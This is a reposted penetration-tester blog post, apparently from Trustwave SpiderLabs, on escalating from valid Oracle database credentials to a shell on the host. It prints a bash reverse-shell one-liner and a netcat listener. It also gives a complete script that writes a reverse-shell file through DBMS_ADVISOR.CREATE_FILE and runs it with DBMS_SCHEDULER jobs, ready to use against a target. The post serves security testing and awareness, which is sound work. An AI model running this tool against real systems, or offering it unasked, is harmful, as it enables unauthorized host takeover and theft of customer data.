Oracle Databases, a Penetration Tester’s View of Unauthorized Access to Customer Records

简介: When penetration-testing you get to see lots of seemingly unbelievable security failures, but...
When penetration-testing you get to see lots of seemingly unbelievable security failures, but they’re so common that as penetration testers you’re never really surprised.

We know from our Global Security Report 2012 ( www.trustwave.com/GSR ) that 89% of the
300+ data breaches we investigated last year, the target data was “customer records” - and you might assume that a DBA will always know what it takes to secure an organization’s keys to the kingdom – customer records.

However, we in SpiderLabs are confronted with Oracle databases on internal network penetration tests where default or easily guessable Oracle System ID’s (SIDs) are used, and default or easily guessable database credentials are used. Having access to the Oracle database with one credential usually ends up with total system compromise, including the host, if not locked down sufficiently.

Just to recap the basics of Oracle hacking (not using available exploits), for those who are unfamiliar:
1) Find an Oracle database
2) Find the SID
3) Find username/password
4) Login and enumerate the DB schema
5) Retrieve the data you’re after
6) Go after the OS.

The point of this blog is not to reiterate the basics (points 1-5) which are sprawled elsewhere on the Internet in great detail, but more point 6) going after the OS.

Going back to my scenario… assume we’ve harvested the data from the database, and we still have time left to own the host. In this example, we’ll assume that only the Oracle port is accessible on the target host, but we would like an interactive shell, to further our attack possibilities. So, I wasn’t interested in testing out all the possible exploits available, but more what can you do with a valid login credential to the Oracle database to read/write and gain access to the underlying host.

I was after some PL/SQL code that would create a text file (a bash script) on the target host, change it to an executable (it was UNIX), run it and then see what I could do from there.

Well, my own goal was to get a shell onto the box. Given that only Oracle TCP 1521 was open, we needed a reverse shell. One of the simplest reverse shells out there is a bit of bash hokey pokey:

bash -i >& /dev/tcp/10.1.1.1/12345 0>&1

When run on our target host, this creates a new descriptor which is assigned to a network node. All we have to do is create a TCP listener on our attacking host, the same value as the port assigned above (12345):

nc –l –p 12345

OK, so I knew what I wanted to do in my bash script to write on the Oracle host. What’s the best way to interact with the host operating system, i.e. write a script to the local system and run it?

Oracle has a number of tools that are shipped by default and there are different methods of writing to the operating system. The method I used provided the least grief, and worked first time. Note that the method I’ll show below will work from Oracle 10g or greater.
  • I used the SYS.DBMS_ADVISOR.CREATE_FILE function to create a file dk_shell.sh and write it to /tmp. The file contents contained the bash reverse shell commands 'bash -i >& /dev/tcp/$HOST/$PORT 0>&1’ (where $HOST was the attacking IP I gave to the script, and $PORT was the port listener that I created with netcat
  • I then used the DBMS_SCHEDULER.CREATE_JOB function to create a job called ‘myjob’ which ran the command chmod 755 on /tmp/dk_shell.sh
  • I finally used the DBMS_SCHEDULER again to run my script /tmp/dk_shell.sh
    The code is shown below: 
    #/bin/bash
    USER=$1
    PW=$2
    IP=$3
    SID=$4
    echo "Open a tcp port listener"
    echo "Enter your listening TCP port:"
    read PORT
    echo "Enter your attacking host IP:"
    read HOST
    echo "Go and run your listener e.g. nc -l -p $PORT ....hit any key when ready"
    read
    /pentest/SpiderLabs/oracle/instantclient/sqlplus $USER/$PW@//$IP/$SID<<DKSQL
    CREATE DIRECTORY MYDIR as '/tmp';
    GRANT read,write on DIRECTORY MYDIR to public;
    SET define off;
    DECLARE
    mydata clob;
    mydir varchar2(200);
    myfile varchar2(700);
    BEGIN
    mydata:='bash -i >& /dev/tcp/$HOST/$PORT 0>&1';
    mydir:= 'MYDIR';
    myfile:='dk_shell.sh';
    SYS.DBMS_ADVISOR.CREATE_FILE (mydata, mydir, myfile);
    COMMIT;
    dbms_scheduler.create_job(job_name => 'myjob',
    job_type => 'executable',
    job_action => '/bin/chmod',
    number_of_arguments => 2,
    enabled => FALSE,
    auto_drop => TRUE);
    dbms_scheduler.set_job_argument_value('myjob',1,'755');
    dbms_scheduler.set_job_argument_value('myjob',2,'/tmp/dk_shell.sh');
    dbms_scheduler.enable('myjob');
    dbms_scheduler.create_job(job_name => 'DKSHELL',
    job_type => 'EXECUTABLE',
    job_action => '/bin/bash',
    number_of_arguments => 1,
    start_date => SYSTIMESTAMP,
    enabled => FALSE);
    dbms_scheduler.set_job_argument_value('DKSHELL',1,'/tmp/dk_shell.sh');
    dbms_scheduler.enable('DKSHELL');
    END;
    /
    DKSQL
    exit
Sticking this code in my own script dk_oracle_blog.sh, created a useful tool I could use to gain a shell onto an Oracle box. So, on your attacking host, run the script, give it <USER> <PASSWORD> <Oracle IP> < SID>. It asks for the listener port, set that up with netcat using nc –l –p <Port>.

Dk_oracle2
The window on the left shows the script being run, the window on the right shows a reverse shell obtained on the target system. Using this technique, the possibilities are endless what script you could run on the host operating system. Next steps, get it working for Windows Oracle hosts!

目录
相关文章
|
10月前
|
存储 NoSQL 关系型数据库
实时计算 Flink版操作报错之抽取Oracle11g时,报错: "Retrieve schema history failed, the schema records for engine ... has been removed",怎么处理
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
|
Oracle 关系型数据库 Windows
Oracle Databases Need to be Patched to a Minimum Patchset/PSU/RU level before April 2019 (DOC ID 2361478.1)
In this Document Description   What we are announcing   What action you need to take    What is the change introduced by the patches listed above?  .
2395 0
|
SQL Oracle 关系型数据库
Using OpenLDAP with Microsoft SQL Server and Oracle Backend Databases
http://www.easysoft.com/applications/openldap/back-sql-odbc.
896 0
|
5月前
|
存储 Oracle 关系型数据库
Oracle数据库的应用场景有哪些?
【10月更文挑战第15天】Oracle数据库的应用场景有哪些?
421 64
|
3月前
|
存储 Oracle 关系型数据库
数据库数据恢复—ORACLE常见故障的数据恢复方案
Oracle数据库常见故障表现: 1、ORACLE数据库无法启动或无法正常工作。 2、ORACLE ASM存储破坏。 3、ORACLE数据文件丢失。 4、ORACLE数据文件部分损坏。 5、ORACLE DUMP文件损坏。
199 11
|
7月前
|
数据采集 Oracle 关系型数据库
实时计算 Flink版产品使用问题之怎么实现从Oracle数据库读取多个表并将数据写入到Iceberg表
实时计算Flink版作为一种强大的流处理和批处理统一的计算框架,广泛应用于各种需要实时数据处理和分析的场景。实时计算Flink版通常结合SQL接口、DataStream API、以及与上下游数据源和存储系统的丰富连接器,提供了一套全面的解决方案,以应对各种实时计算需求。其低延迟、高吞吐、容错性强的特点,使其成为众多企业和组织实时数据处理首选的技术平台。以下是实时计算Flink版的一些典型使用合集。
|
4月前
|
Oracle 关系型数据库 数据库
Oracle数据恢复—Oracle数据库文件有坏快损坏的数据恢复案例
一台Oracle数据库打开报错,报错信息: “system01.dbf需要更多的恢复来保持一致性,数据库无法打开”。管理员联系我们数据恢复中心寻求帮助,并提供了Oracle_Home目录的所有文件。用户方要求恢复zxfg用户下的数据。 由于数据库没有备份,无法通过备份去恢复数据库。
|
4月前
|
存储 Oracle 关系型数据库
oracle数据恢复—Oracle数据库文件大小变为0kb的数据恢复案例
存储掉盘超过上限,lun无法识别。管理员重组存储的位图信息并导出lun,发现linux操作系统上部署的oracle数据库中有上百个数据文件的大小变为0kb。数据库的大小缩水了80%以上。 取出&并分析oracle数据库的控制文件。重组存储位图信息,重新导出控制文件中记录的数据文件,发现这些文件的大小依然为0kb。

热门文章

最新文章

推荐镜像

更多